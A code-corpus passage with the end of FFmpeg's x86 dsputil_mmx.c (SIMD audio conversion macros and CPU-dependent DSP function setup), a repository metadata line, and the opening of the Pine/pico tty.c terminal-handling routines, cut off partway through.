ff_x264_deblock_v8_luma_intra_mmxext(pix+0, stride, alpha, beta); ff_x264_deblock_v8_luma_intra_mmxext(pix+8, stride, alpha, beta); } #elif !HAVE_YASM #define ff_float_to_int16_interleave6_sse(a,b,c) float_to_int16_interleave_misc_sse(a,b,c,6) #define ff_float_to_int16_interleave6_3dnow(a,b,c) float_to_int16_interleave_misc_3dnow(a,b,c,6) #define ff_float_to_int16_interleave6_3dn2(a,b,c) float_to_int16_interleave_misc_3dnow(a,b,c,6) #endif #define ff_float_to_int16_interleave6_sse2 ff_float_to_int16_interleave6_sse #define FLOAT_TO_INT16_INTERLEAVE(cpu, body) \ /* gcc pessimizes register allocation if this is in the same function as float_to_int16_interleave_sse2*/\ static av_noinline void float_to_int16_interleave_misc_##cpu(int16_t *dst, const float **src, long len, int channels){\ DECLARE_ALIGNED(16, int16_t, tmp)[len];\ int i,j,c;\ for(c=0; c<channels; c++){\ float_to_int16_##cpu(tmp, src[c], len);\ for(i=0, j=c; i<len; i++, j+=channels)\ dst[j] = tmp[i];\ }\ }\ \ static void float_to_int16_interleave_##cpu(int16_t *dst, const float **src, long len, int channels){\ if(channels==1)\ float_to_int16_##cpu(dst, src[0], len);\ else if(channels==2){\ x86_reg reglen = len; \ const float *src0 = src[0];\ const float *src1 = src[1];\ __asm__ volatile(\ "shl $2, %0 \n"\ "add %0, %1 \n"\ "add %0, %2 \n"\ "add %0, %3 \n"\ "neg %0 \n"\ body\ :"+r"(reglen), "+r"(dst), "+r"(src0), "+r"(src1)\ );\ }else if(channels==6){\ ff_float_to_int16_interleave6_##cpu(dst, src, len);\ }else\ float_to_int16_interleave_misc_##cpu(dst, src, len, channels);\ } FLOAT_TO_INT16_INTERLEAVE(3dnow, "1: \n" "pf2id (%2,%0), %%mm0 \n" "pf2id 8(%2,%0), %%mm1 \n" "pf2id (%3,%0), %%mm2 \n" "pf2id 8(%3,%0), %%mm3 \n" "packssdw %%mm1, %%mm0 \n" "packssdw %%mm3, %%mm2 \n" "movq %%mm0, %%mm1 \n" "punpcklwd %%mm2, %%mm0 \n" "punpckhwd %%mm2, %%mm1 \n" "movq %%mm0, (%1,%0)\n" "movq %%mm1, 8(%1,%0)\n" "add $16, %0 \n" "js 1b \n" "femms \n" ) FLOAT_TO_INT16_INTERLEAVE(sse, "1: \n" "cvtps2pi (%2,%0), %%mm0 \n" "cvtps2pi 8(%2,%0), %%mm1 \n" "cvtps2pi (%3,%0), %%mm2 \n" "cvtps2pi 8(%3,%0), %%mm3 \n" "packssdw %%mm1, %%mm0 \n" "packssdw %%mm3, %%mm2 \n" "movq %%mm0, %%mm1 \n" "punpcklwd %%mm2, %%mm0 \n" "punpckhwd %%mm2, %%mm1 \n" "movq %%mm0, (%1,%0)\n" "movq %%mm1, 8(%1,%0)\n" "add $16, %0 \n" "js 1b \n" "emms \n" ) FLOAT_TO_INT16_INTERLEAVE(sse2, "1: \n" "cvtps2dq (%2,%0), %%xmm0 \n" "cvtps2dq (%3,%0), %%xmm1 \n" "packssdw %%xmm1, %%xmm0 \n" "movhlps %%xmm0, %%xmm1 \n" "punpcklwd %%xmm1, %%xmm0 \n" "movdqa %%xmm0, (%1,%0) \n" "add $16, %0 \n" "js 1b \n" ) static void float_to_int16_interleave_3dn2(int16_t *dst, const float **src, long len, int channels){ if(channels==6) ff_float_to_int16_interleave6_3dn2(dst, src, len); else float_to_int16_interleave_3dnow(dst, src, len, channels); } float ff_scalarproduct_float_sse(const float *v1, const float *v2, int order); void dsputil_init_mmx(DSPContext* c, AVCodecContext *avctx) { mm_flags = mm_support(); if (avctx->dsp_mask) { if (avctx->dsp_mask & FF_MM_FORCE) mm_flags |= (avctx->dsp_mask & 0xffff); else mm_flags &= ~(avctx->dsp_mask & 0xffff); } #if 0 av_log(avctx, AV_LOG_INFO, "libavcodec: CPU flags:"); if (mm_flags & FF_MM_MMX) av_log(avctx, AV_LOG_INFO, " mmx"); if (mm_flags & FF_MM_MMX2) av_log(avctx, AV_LOG_INFO, " mmx2"); if (mm_flags & FF_MM_3DNOW) av_log(avctx, AV_LOG_INFO, " 3dnow"); if (mm_flags & FF_MM_SSE) av_log(avctx, AV_LOG_INFO, " sse"); if (mm_flags & FF_MM_SSE2) av_log(avctx, AV_LOG_INFO, " sse2"); av_log(avctx, AV_LOG_INFO, "\n"); #endif if (mm_flags & FF_MM_MMX) { const int idct_algo= avctx->idct_algo; if(avctx->lowres==0){ if(idct_algo==FF_IDCT_AUTO || idct_algo==FF_IDCT_SIMPLEMMX){ c->idct_put= ff_simple_idct_put_mmx; c->idct_add= ff_simple_idct_add_mmx; c->idct = ff_simple_idct_mmx; c->idct_permutation_type= FF_SIMPLE_IDCT_PERM; #if CONFIG_GPL }else if(idct_algo==FF_IDCT_LIBMPEG2MMX){ if(mm_flags & FF_MM_MMX2){ c->idct_put= ff_libmpeg2mmx2_idct_put; c->idct_add= ff_libmpeg2mmx2_idct_add; c->idct = ff_mmxext_idct; }else{ c->idct_put= ff_libmpeg2mmx_idct_put; c->idct_add= ff_libmpeg2mmx_idct_add; c->idct = ff_mmx_idct; } c->idct_permutation_type= FF_LIBMPEG2_IDCT_PERM; #endif }else if((CONFIG_VP3_DECODER || CONFIG_VP5_DECODER || CONFIG_VP6_DECODER) && idct_algo==FF_IDCT_VP3){ if(mm_flags & FF_MM_SSE2){ c->idct_put= ff_vp3_idct_put_sse2; c->idct_add= ff_vp3_idct_add_sse2; c->idct = ff_vp3_idct_sse2; c->idct_permutation_type= FF_TRANSPOSE_IDCT_PERM; }else{ c->idct_put= ff_vp3_idct_put_mmx; c->idct_add= ff_vp3_idct_add_mmx; c->idct = ff_vp3_idct_mmx; c->idct_permutation_type= FF_PARTTRANS_IDCT_PERM; } }else if(idct_algo==FF_IDCT_CAVS){ c->idct_permutation_type= FF_TRANSPOSE_IDCT_PERM; }else if(idct_algo==FF_IDCT_XVIDMMX){ if(mm_flags & FF_MM_SSE2){ c->idct_put= ff_idct_xvid_sse2_put; c->idct_add= ff_idct_xvid_sse2_add; c->idct = ff_idct_xvid_sse2; c->idct_permutation_type= FF_SSE2_IDCT_PERM; }else if(mm_flags & FF_MM_MMX2){ c->idct_put= ff_idct_xvid_mmx2_put; c->idct_add= ff_idct_xvid_mmx2_add; c->idct = ff_idct_xvid_mmx2; }else{ c->idct_put= ff_idct_xvid_mmx_put; c->idct_add= ff_idct_xvid_mmx_add; c->idct = ff_idct_xvid_mmx; } } } c->put_pixels_clamped = put_pixels_clamped_mmx; c->put_signed_pixels_clamped = put_signed_pixels_clamped_mmx; c->add_pixels_clamped = add_pixels_clamped_mmx; c->clear_block = clear_block_mmx; c->clear_blocks = clear_blocks_mmx; if ((mm_flags & FF_MM_SSE) && !(CONFIG_MPEG_XVMC_DECODER && avctx->xvmc_acceleration > 1)){ /* XvMCCreateBlocks() may not allocate 16-byte aligned blocks */ c->clear_block = clear_block_sse; c->clear_blocks = clear_blocks_sse; } #define SET_HPEL_FUNCS(PFX, IDX, SIZE, CPU) \ c->PFX ## _pixels_tab[IDX][0] = PFX ## _pixels ## SIZE ## _ ## CPU; \ c->PFX ## _pixels_tab[IDX][1] = PFX ## _pixels ## SIZE ## _x2_ ## CPU; \ c->PFX ## _pixels_tab[IDX][2] = PFX ## _pixels ## SIZE ## _y2_ ## CPU; \ c->PFX ## _pixels_tab[IDX][3] = PFX ## _pixels ## SIZE ## _xy2_ ## CPU SET_HPEL_FUNCS(put, 0, 16, mmx); SET_HPEL_FUNCS(put_no_rnd, 0, 16, mmx); SET_HPEL_FUNCS(avg, 0, 16, mmx); SET_HPEL_FUNCS(avg_no_rnd, 0, 16, mmx); SET_HPEL_FUNCS(put, 1, 8, mmx); SET_HPEL_FUNCS(put_no_rnd, 1, 8, mmx); SET_HPEL_FUNCS(avg, 1, 8, mmx); SET_HPEL_FUNCS(avg_no_rnd, 1, 8, mmx); c->gmc= gmc_mmx; c->add_bytes= add_bytes_mmx; c->add_bytes_l2= add_bytes_l2_mmx; c->draw_edges = draw_edges_mmx; if (CONFIG_H263_DECODER || CONFIG_H263_ENCODER) { c->h263_v_loop_filter= h263_v_loop_filter_mmx; c->h263_h_loop_filter= h263_h_loop_filter_mmx; } c->put_h264_chroma_pixels_tab[0]= put_h264_chroma_mc8_mmx_rnd; c->put_h264_chroma_pixels_tab[1]= put_h264_chroma_mc4_mmx; c->put_no_rnd_vc1_chroma_pixels_tab[0]= put_vc1_chroma_mc8_mmx_nornd; c->put_rv40_chroma_pixels_tab[0]= put_rv40_chroma_mc8_mmx; c->put_rv40_chroma_pixels_tab[1]= put_rv40_chroma_mc4_mmx; if (CONFIG_VP6_DECODER) { c->vp6_filter_diag4 = ff_vp6_filter_diag4_mmx; } if (mm_flags & FF_MM_MMX2) { c->prefetch = prefetch_mmx2; c->put_pixels_tab[0][1] = put_pixels16_x2_mmx2; c->put_pixels_tab[0][2] = put_pixels16_y2_mmx2; c->avg_pixels_tab[0][0] = avg_pixels16_mmx2; c->avg_pixels_tab[0][1] = avg_pixels16_x2_mmx2; c->avg_pixels_tab[0][2] = avg_pixels16_y2_mmx2; c->put_pixels_tab[1][1] = put_pixels8_x2_mmx2; c->put_pixels_tab[1][2] = put_pixels8_y2_mmx2; c->avg_pixels_tab[1][0] = avg_pixels8_mmx2; c->avg_pixels_tab[1][1] = avg_pixels8_x2_mmx2; c->avg_pixels_tab[1][2] = avg_pixels8_y2_mmx2; if(!(avctx->flags & CODEC_FLAG_BITEXACT)){ c->put_no_rnd_pixels_tab[0][1] = put_no_rnd_pixels16_x2_mmx2; c->put_no_rnd_pixels_tab[0][2] = put_no_rnd_pixels16_y2_mmx2; c->put_no_rnd_pixels_tab[1][1] = put_no_rnd_pixels8_x2_mmx2; c->put_no_rnd_pixels_tab[1][2] = put_no_rnd_pixels8_y2_mmx2; c->avg_pixels_tab[0][3] = avg_pixels16_xy2_mmx2; c->avg_pixels_tab[1][3] = avg_pixels8_xy2_mmx2; if (CONFIG_VP3_DECODER) { c->vp3_v_loop_filter= ff_vp3_v_loop_filter_mmx2; c->vp3_h_loop_filter= ff_vp3_h_loop_filter_mmx2; } } if (CONFIG_VP3_DECODER) { c->vp3_idct_dc_add = ff_vp3_idct_dc_add_mmx2; } if (CONFIG_VP3_DECODER && (avctx->codec_id == CODEC_ID_VP3 || avctx->codec_id == CODEC_ID_THEORA)) { c->put_no_rnd_pixels_tab[1][1] = put_no_rnd_pixels8_x2_exact_mmx2; c->put_no_rnd_pixels_tab[1][2] = put_no_rnd_pixels8_y2_exact_mmx2; } #define SET_QPEL_FUNCS(PFX, IDX, SIZE, CPU) \ c->PFX ## _pixels_tab[IDX][ 0] = PFX ## SIZE ## _mc00_ ## CPU; \ c->PFX ## _pixels_tab[IDX][ 1] = PFX ## SIZE ## _mc10_ ## CPU; \ c->PFX ## _pixels_tab[IDX][ 2] = PFX ## SIZE ## _mc20_ ## CPU; \ c->PFX ## _pixels_tab[IDX][ 3] = PFX ## SIZE ## _mc30_ ## CPU; \ c->PFX ## _pixels_tab[IDX][ 4] = PFX ## SIZE ## _mc01_ ## CPU; \ c->PFX ## _pixels_tab[IDX][ 5] = PFX ## SIZE ## _mc11_ ## CPU; \ c->PFX ## _pixels_tab[IDX][ 6] = PFX ## SIZE ## _mc21_ ## CPU; \ c->PFX ## _pixels_tab[IDX][ 7] = PFX ## SIZE ## _mc31_ ## CPU; \ c->PFX ## _pixels_tab[IDX][ 8] = PFX ## SIZE ## _mc02_ ## CPU; \ c->PFX ## _pixels_tab[IDX][ 9] = PFX ## SIZE ## _mc12_ ## CPU; \ c->PFX ## _pixels_tab[IDX][10] = PFX ## SIZE ## _mc22_ ## CPU; \ c->PFX ## _pixels_tab[IDX][11] = PFX ## SIZE ## _mc32_ ## CPU; \ c->PFX ## _pixels_tab[IDX][12] = PFX ## SIZE ## _mc03_ ## CPU; \ c->PFX ## _pixels_tab[IDX][13] = PFX ## SIZE ## _mc13_ ## CPU; \ c->PFX ## _pixels_tab[IDX][14] = PFX ## SIZE ## _mc23_ ## CPU; \ c->PFX ## _pixels_tab[IDX][15] = PFX ## SIZE ## _mc33_ ## CPU SET_QPEL_FUNCS(put_qpel, 0, 16, mmx2); SET_QPEL_FUNCS(put_qpel, 1, 8, mmx2); SET_QPEL_FUNCS(put_no_rnd_qpel, 0, 16, mmx2); SET_QPEL_FUNCS(put_no_rnd_qpel, 1, 8, mmx2); SET_QPEL_FUNCS(avg_qpel, 0, 16, mmx2); SET_QPEL_FUNCS(avg_qpel, 1, 8, mmx2); SET_QPEL_FUNCS(put_h264_qpel, 0, 16, mmx2); SET_QPEL_FUNCS(put_h264_qpel, 1, 8, mmx2); SET_QPEL_FUNCS(put_h264_qpel, 2, 4, mmx2); SET_QPEL_FUNCS(avg_h264_qpel, 0, 16, mmx2); SET_QPEL_FUNCS(avg_h264_qpel, 1, 8, mmx2); SET_QPEL_FUNCS(avg_h264_qpel, 2, 4, mmx2); SET_QPEL_FUNCS(put_2tap_qpel, 0, 16, mmx2); SET_QPEL_FUNCS(put_2tap_qpel, 1, 8, mmx2); SET_QPEL_FUNCS(avg_2tap_qpel, 0, 16, mmx2); SET_QPEL_FUNCS(avg_2tap_qpel, 1, 8, mmx2); c->avg_rv40_chroma_pixels_tab[0]= avg_rv40_chroma_mc8_mmx2; c->avg_rv40_chroma_pixels_tab[1]= avg_rv40_chroma_mc4_mmx2; c->avg_no_rnd_vc1_chroma_pixels_tab[0]= avg_vc1_chroma_mc8_mmx2_nornd; c->avg_h264_chroma_pixels_tab[0]= avg_h264_chroma_mc8_mmx2_rnd; c->avg_h264_chroma_pixels_tab[1]= avg_h264_chroma_mc4_mmx2; c->avg_h264_chroma_pixels_tab[2]= avg_h264_chroma_mc2_mmx2; c->put_h264_chroma_pixels_tab[2]= put_h264_chroma_mc2_mmx2; #if HAVE_YASM c->add_hfyu_median_prediction = ff_add_hfyu_median_prediction_mmx2; #endif #if HAVE_7REGS && HAVE_TEN_OPERANDS if( mm_flags&FF_MM_3DNOW ) c->add_hfyu_median_prediction = add_hfyu_median_prediction_cmov; #endif if (CONFIG_CAVS_DECODER) ff_cavsdsp_init_mmx2(c, avctx); if (CONFIG_VC1_DECODER) ff_vc1dsp_init_mmx(c, avctx); c->add_png_paeth_prediction= add_png_paeth_prediction_mmx2; } else if (mm_flags & FF_MM_3DNOW) { c->prefetch = prefetch_3dnow; c->put_pixels_tab[0][1] = put_pixels16_x2_3dnow; c->put_pixels_tab[0][2] = put_pixels16_y2_3dnow; c->avg_pixels_tab[0][0] = avg_pixels16_3dnow; c->avg_pixels_tab[0][1] = avg_pixels16_x2_3dnow; c->avg_pixels_tab[0][2] = avg_pixels16_y2_3dnow; c->put_pixels_tab[1][1] = put_pixels8_x2_3dnow; c->put_pixels_tab[1][2] = put_pixels8_y2_3dnow; c->avg_pixels_tab[1][0] = avg_pixels8_3dnow; c->avg_pixels_tab[1][1] = avg_pixels8_x2_3dnow; c->avg_pixels_tab[1][2] = avg_pixels8_y2_3dnow; if(!(avctx->flags & CODEC_FLAG_BITEXACT)){ c->put_no_rnd_pixels_tab[0][1] = put_no_rnd_pixels16_x2_3dnow; c->put_no_rnd_pixels_tab[0][2] = put_no_rnd_pixels16_y2_3dnow; c->put_no_rnd_pixels_tab[1][1] = put_no_rnd_pixels8_x2_3dnow; c->put_no_rnd_pixels_tab[1][2] = put_no_rnd_pixels8_y2_3dnow; c->avg_pixels_tab[0][3] = avg_pixels16_xy2_3dnow; c->avg_pixels_tab[1][3] = avg_pixels8_xy2_3dnow; } if (CONFIG_VP3_DECODER && (avctx->codec_id == CODEC_ID_VP3 || avctx->codec_id == CODEC_ID_THEORA)) { c->put_no_rnd_pixels_tab[1][1] = put_no_rnd_pixels8_x2_exact_3dnow; c->put_no_rnd_pixels_tab[1][2] = put_no_rnd_pixels8_y2_exact_3dnow; } SET_QPEL_FUNCS(put_qpel, 0, 16, 3dnow); SET_QPEL_FUNCS(put_qpel, 1, 8, 3dnow); SET_QPEL_FUNCS(put_no_rnd_qpel, 0, 16, 3dnow); SET_QPEL_FUNCS(put_no_rnd_qpel, 1, 8, 3dnow); SET_QPEL_FUNCS(avg_qpel, 0, 16, 3dnow); SET_QPEL_FUNCS(avg_qpel, 1, 8, 3dnow); SET_QPEL_FUNCS(put_h264_qpel, 0, 16, 3dnow); SET_QPEL_FUNCS(put_h264_qpel, 1, 8, 3dnow); SET_QPEL_FUNCS(put_h264_qpel, 2, 4, 3dnow); SET_QPEL_FUNCS(avg_h264_qpel, 0, 16, 3dnow); SET_QPEL_FUNCS(avg_h264_qpel, 1, 8, 3dnow); SET_QPEL_FUNCS(avg_h264_qpel, 2, 4, 3dnow); SET_QPEL_FUNCS(put_2tap_qpel, 0, 16, 3dnow); SET_QPEL_FUNCS(put_2tap_qpel, 1, 8, 3dnow); SET_QPEL_FUNCS(avg_2tap_qpel, 0, 16, 3dnow); SET_QPEL_FUNCS(avg_2tap_qpel, 1, 8, 3dnow); c->avg_h264_chroma_pixels_tab[0]= avg_h264_chroma_mc8_3dnow_rnd; c->avg_h264_chroma_pixels_tab[1]= avg_h264_chroma_mc4_3dnow; c->avg_rv40_chroma_pixels_tab[0]= avg_rv40_chroma_mc8_3dnow; c->avg_rv40_chroma_pixels_tab[1]= avg_rv40_chroma_mc4_3dnow; if (CONFIG_CAVS_DECODER) ff_cavsdsp_init_3dnow(c, avctx); } #define H264_QPEL_FUNCS(x, y, CPU)\ c->put_h264_qpel_pixels_tab[0][x+y*4] = put_h264_qpel16_mc##x##y##_##CPU;\ c->put_h264_qpel_pixels_tab[1][x+y*4] = put_h264_qpel8_mc##x##y##_##CPU;\ c->avg_h264_qpel_pixels_tab[0][x+y*4] = avg_h264_qpel16_mc##x##y##_##CPU;\ c->avg_h264_qpel_pixels_tab[1][x+y*4] = avg_h264_qpel8_mc##x##y##_##CPU; if((mm_flags & FF_MM_SSE2) && !(mm_flags & FF_MM_3DNOW)){ // these functions are slower than mmx on AMD, but faster on Intel c->put_pixels_tab[0][0] = put_pixels16_sse2; c->avg_pixels_tab[0][0] = avg_pixels16_sse2; H264_QPEL_FUNCS(0, 0, sse2); } if(mm_flags & FF_MM_SSE2){ H264_QPEL_FUNCS(0, 1, sse2); H264_QPEL_FUNCS(0, 2, sse2); H264_QPEL_FUNCS(0, 3, sse2); H264_QPEL_FUNCS(1, 1, sse2); H264_QPEL_FUNCS(1, 2, sse2); H264_QPEL_FUNCS(1, 3, sse2); H264_QPEL_FUNCS(2, 1, sse2); H264_QPEL_FUNCS(2, 2, sse2); H264_QPEL_FUNCS(2, 3, sse2); H264_QPEL_FUNCS(3, 1, sse2); H264_QPEL_FUNCS(3, 2, sse2); H264_QPEL_FUNCS(3, 3, sse2); if (CONFIG_VP6_DECODER) { c->vp6_filter_diag4 = ff_vp6_filter_diag4_sse2; } } #if HAVE_SSSE3 if(mm_flags & FF_MM_SSSE3){ H264_QPEL_FUNCS(1, 0, ssse3); H264_QPEL_FUNCS(1, 1, ssse3); H264_QPEL_FUNCS(1, 2, ssse3); H264_QPEL_FUNCS(1, 3, ssse3); H264_QPEL_FUNCS(2, 0, ssse3); H264_QPEL_FUNCS(2, 1, ssse3); H264_QPEL_FUNCS(2, 2, ssse3); H264_QPEL_FUNCS(2, 3, ssse3); H264_QPEL_FUNCS(3, 0, ssse3); H264_QPEL_FUNCS(3, 1, ssse3); H264_QPEL_FUNCS(3, 2, ssse3); H264_QPEL_FUNCS(3, 3, ssse3); c->put_no_rnd_vc1_chroma_pixels_tab[0]= put_vc1_chroma_mc8_ssse3_nornd; c->avg_no_rnd_vc1_chroma_pixels_tab[0]= avg_vc1_chroma_mc8_ssse3_nornd; c->put_h264_chroma_pixels_tab[0]= put_h264_chroma_mc8_ssse3_rnd; c->avg_h264_chroma_pixels_tab[0]= avg_h264_chroma_mc8_ssse3_rnd; c->put_h264_chroma_pixels_tab[1]= put_h264_chroma_mc4_ssse3; c->avg_h264_chroma_pixels_tab[1]= avg_h264_chroma_mc4_ssse3; c->add_png_paeth_prediction= add_png_paeth_prediction_ssse3; #if HAVE_YASM c->add_hfyu_left_prediction = ff_add_hfyu_left_prediction_ssse3; if (mm_flags & FF_MM_SSE4) // not really sse4, just slow on Conroe c->add_hfyu_left_prediction = ff_add_hfyu_left_prediction_sse4; #endif } #endif if(mm_flags & FF_MM_3DNOW){ c->vorbis_inverse_coupling = vorbis_inverse_coupling_3dnow; c->vector_fmul = vector_fmul_3dnow; if(!(avctx->flags & CODEC_FLAG_BITEXACT)){ c->float_to_int16 = float_to_int16_3dnow; c->float_to_int16_interleave = float_to_int16_interleave_3dnow; } } if(mm_flags & FF_MM_3DNOWEXT){ c->vector_fmul_reverse = vector_fmul_reverse_3dnow2; c->vector_fmul_window = vector_fmul_window_3dnow2; if(!(avctx->flags & CODEC_FLAG_BITEXACT)){ c->float_to_int16_interleave = float_to_int16_interleave_3dn2; } } if(mm_flags & FF_MM_MMX2){ #if HAVE_YASM c->scalarproduct_int16 = ff_scalarproduct_int16_mmx2; c->scalarproduct_and_madd_int16 = ff_scalarproduct_and_madd_int16_mmx2; #endif } if(mm_flags & FF_MM_SSE){ c->vorbis_inverse_coupling = vorbis_inverse_coupling_sse; c->ac3_downmix = ac3_downmix_sse; c->vector_fmul = vector_fmul_sse; c->vector_fmul_reverse = vector_fmul_reverse_sse; c->vector_fmul_add = vector_fmul_add_sse; c->vector_fmul_window = vector_fmul_window_sse; c->int32_to_float_fmul_scalar = int32_to_float_fmul_scalar_sse; c->vector_clipf = vector_clipf_sse; c->float_to_int16 = float_to_int16_sse; c->float_to_int16_interleave = float_to_int16_interleave_sse; #if HAVE_YASM c->scalarproduct_float = ff_scalarproduct_float_sse; #endif } if(mm_flags & FF_MM_3DNOW) c->vector_fmul_add = vector_fmul_add_3dnow; // faster than sse if(mm_flags & FF_MM_SSE2){ c->int32_to_float_fmul_scalar = int32_to_float_fmul_scalar_sse2; c->float_to_int16 = float_to_int16_sse2; c->float_to_int16_interleave = float_to_int16_interleave_sse2; #if HAVE_YASM c->scalarproduct_int16 = ff_scalarproduct_int16_sse2; c->scalarproduct_and_madd_int16 = ff_scalarproduct_and_madd_int16_sse2; #endif } if((mm_flags & FF_MM_SSSE3) && !(mm_flags & (FF_MM_SSE42|FF_MM_3DNOW)) && HAVE_YASM) // cachesplit c->scalarproduct_and_madd_int16 = ff_scalarproduct_and_madd_int16_ssse3; } if (CONFIG_ENCODERS) dsputilenc_init_mmx(c, avctx); #if 0 // for speed testing get_pixels = just_return; put_pixels_clamped = just_return; add_pixels_clamped = just_return; pix_abs16x16 = just_return; pix_abs16x16_x2 = just_return; pix_abs16x16_y2 = just_return; pix_abs16x16_xy2 = just_return; put_pixels_tab[0] = just_return; put_pixels_tab[1] = just_return; put_pixels_tab[2] = just_return; put_pixels_tab[3] = just_return; put_no_rnd_pixels_tab[0] = just_return; put_no_rnd_pixels_tab[1] = just_return; put_no_rnd_pixels_tab[2] = just_return; put_no_rnd_pixels_tab[3] = just_return; avg_pixels_tab[0] = just_return; avg_pixels_tab[1] = just_return; avg_pixels_tab[2] = just_return; avg_pixels_tab[3] = just_return; avg_no_rnd_pixels_tab[0] = just_return; avg_no_rnd_pixels_tab[1] = just_return; avg_no_rnd_pixels_tab[2] = just_return; avg_no_rnd_pixels_tab[3] = just_return; //av_fdct = just_return; //ff_idct = just_return; #endif } #if CONFIG_H264DSP void ff_h264dsp_init_x86(H264DSPContext *c) { mm_flags = mm_support(); if (mm_flags & FF_MM_MMX) { c->h264_idct_dc_add= c->h264_idct_add= ff_h264_idct_add_mmx; c->h264_idct8_dc_add= c->h264_idct8_add= ff_h264_idct8_add_mmx; c->h264_idct_add16 = ff_h264_idct_add16_mmx; c->h264_idct8_add4 = ff_h264_idct8_add4_mmx; c->h264_idct_add8 = ff_h264_idct_add8_mmx; c->h264_idct_add16intra= ff_h264_idct_add16intra_mmx; if (mm_flags & FF_MM_MMX2) { c->h264_idct_dc_add= ff_h264_idct_dc_add_mmx2; c->h264_idct8_dc_add= ff_h264_idct8_dc_add_mmx2; c->h264_idct_add16 = ff_h264_idct_add16_mmx2; c->h264_idct8_add4 = ff_h264_idct8_add4_mmx2; c->h264_idct_add8 = ff_h264_idct_add8_mmx2; c->h264_idct_add16intra= ff_h264_idct_add16intra_mmx2; c->h264_v_loop_filter_luma= h264_v_loop_filter_luma_mmx2; c->h264_h_loop_filter_luma= h264_h_loop_filter_luma_mmx2; c->h264_v_loop_filter_chroma= h264_v_loop_filter_chroma_mmx2; c->h264_h_loop_filter_chroma= h264_h_loop_filter_chroma_mmx2; c->h264_v_loop_filter_chroma_intra= h264_v_loop_filter_chroma_intra_mmx2; c->h264_h_loop_filter_chroma_intra= h264_h_loop_filter_chroma_intra_mmx2; c->h264_loop_filter_strength= h264_loop_filter_strength_mmx2; c->weight_h264_pixels_tab[0]= ff_h264_weight_16x16_mmx2; c->weight_h264_pixels_tab[1]= ff_h264_weight_16x8_mmx2; c->weight_h264_pixels_tab[2]= ff_h264_weight_8x16_mmx2; c->weight_h264_pixels_tab[3]= ff_h264_weight_8x8_mmx2; c->weight_h264_pixels_tab[4]= ff_h264_weight_8x4_mmx2; c->weight_h264_pixels_tab[5]= ff_h264_weight_4x8_mmx2; c->weight_h264_pixels_tab[6]= ff_h264_weight_4x4_mmx2; c->weight_h264_pixels_tab[7]= ff_h264_weight_4x2_mmx2; c->biweight_h264_pixels_tab[0]= ff_h264_biweight_16x16_mmx2; c->biweight_h264_pixels_tab[1]= ff_h264_biweight_16x8_mmx2; c->biweight_h264_pixels_tab[2]= ff_h264_biweight_8x16_mmx2; c->biweight_h264_pixels_tab[3]= ff_h264_biweight_8x8_mmx2; c->biweight_h264_pixels_tab[4]= ff_h264_biweight_8x4_mmx2; c->biweight_h264_pixels_tab[5]= ff_h264_biweight_4x8_mmx2; c->biweight_h264_pixels_tab[6]= ff_h264_biweight_4x4_mmx2; c->biweight_h264_pixels_tab[7]= ff_h264_biweight_4x2_mmx2; } if(mm_flags & FF_MM_SSE2){ c->h264_idct8_add = ff_h264_idct8_add_sse2; c->h264_idct8_add4= ff_h264_idct8_add4_sse2; } #if CONFIG_GPL && HAVE_YASM if (mm_flags & FF_MM_MMX2){ #if ARCH_X86_32 c->h264_v_loop_filter_luma_intra = ff_x264_deblock_v_luma_intra_mmxext; c->h264_h_loop_filter_luma_intra = ff_x264_deblock_h_luma_intra_mmxext; #endif if( mm_flags&FF_MM_SSE2 ){ #if ARCH_X86_64 || !defined(__ICC) || __ICC > 1110 c->h264_v_loop_filter_luma = ff_x264_deblock_v_luma_sse2; c->h264_h_loop_filter_luma = ff_x264_deblock_h_luma_sse2; c->h264_v_loop_filter_luma_intra = ff_x264_deblock_v_luma_intra_sse2; c->h264_h_loop_filter_luma_intra = ff_x264_deblock_h_luma_intra_sse2; #endif c->h264_idct_add16 = ff_h264_idct_add16_sse2; c->h264_idct_add8 = ff_h264_idct_add8_sse2; c->h264_idct_add16intra = ff_h264_idct_add16intra_sse2; } } #endif } } #endif /* CONFIG_H264DSP */
longluo/FFMpeg
jni/libffmpeg/libavcodec/x86/dsputil_mmx.c
C
apache-2.0
126,287
#if !defined(lint) && !defined(DOS) static char rcsid[] = "$Id: tty.c 672 2007-08-15 23:07:18Z hubert@u.washington.edu $"; #endif /* * ======================================================================== * Copyright 2006-2007 University of Washington * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * ======================================================================== * * Program: tty routines */ #include <system.h> #include <general.h> #include "../estruct.h" #include "../mode.h" #include "../pico.h" #include "../edef.h" #include "../efunc.h" #include "../keydefs.h" #include "signals.h" #ifndef _WINDOWS #include "terminal.h" #include "raw.h" #include "read.h" #else #include "mswin.h" #endif /* _WINDOWS */ #ifdef MOUSE #include "mouse.h" #endif /* MOUSE */ #include "tty.h" #ifndef _WINDOWS /* * ttopen - this function is called once to set up the terminal device * streams. if called as pine composer, don't mess with * tty modes, but set signal handlers. */ int ttopen(void) { if(Pmaster == NULL){ Raw(1); #ifdef MOUSE if(gmode & MDMOUSE) init_mouse(); #endif /* MOUSE */ xonxoff_proc(preserve_start_stop); } picosigs(); return(1); } /* * ttclose - this function gets called just before we go back home to * the command interpreter. If called as pine composer, don't * worry about modes, but set signals to default, pine will * rewire things as needed. */ int ttclose(void) { if(Pmaster){ signal(SIGHUP, SIG_DFL); #ifdef SIGCONT signal(SIGCONT, SIG_DFL); #endif #if defined(SIGWINCH) && defined(TIOCGWINSZ) signal(SIGWINCH, SIG_DFL); #endif } else{ Raw(0); #ifdef MOUSE end_mouse(); #endif } return(1); } /* * ttgetc - Read a character from the terminal, performing no editing * and doing no echo at all. * * Args: return_on_intr -- Function to get a single character from stdin, * recorder -- If non-NULL, function used to record keystroke. * bail_handler -- Function used to bail out on read error. * * Returns: The character read from stdin. * Return_on_intr is returned if read is interrupted. * If read error, BAIL_OUT is returned unless bail_handler is * non-NULL, in which case it is called (and usually it exits). * * If recorder is non-null, it is used to record the keystroke. */ int ttgetc(int return_on_intr, int (*recorder)(int), void (*bail_handler)(void)) { int c; switch(c = read_one_char()){ case READ_INTR: return(return_on_intr); case BAIL_OUT: if(bail_handler) (*bail_handler)(); else return(BAIL_OUT); default: return(recorder ? (*recorder)(c) : c); } } /* * Simple version of ttgetc with simple error handling * * Args: recorder -- If non-NULL, function used to record keystroke. * bail_handler -- Function used to bail out on read error. * * Returns: The character read from stdin. * If read error, BAIL_OUT is returned unless bail_handler is * non-NULL, in which case it is called (and usually it exits). * * If recorder is non-null, it is used to record the keystroke. * Retries if interrupted. */ int 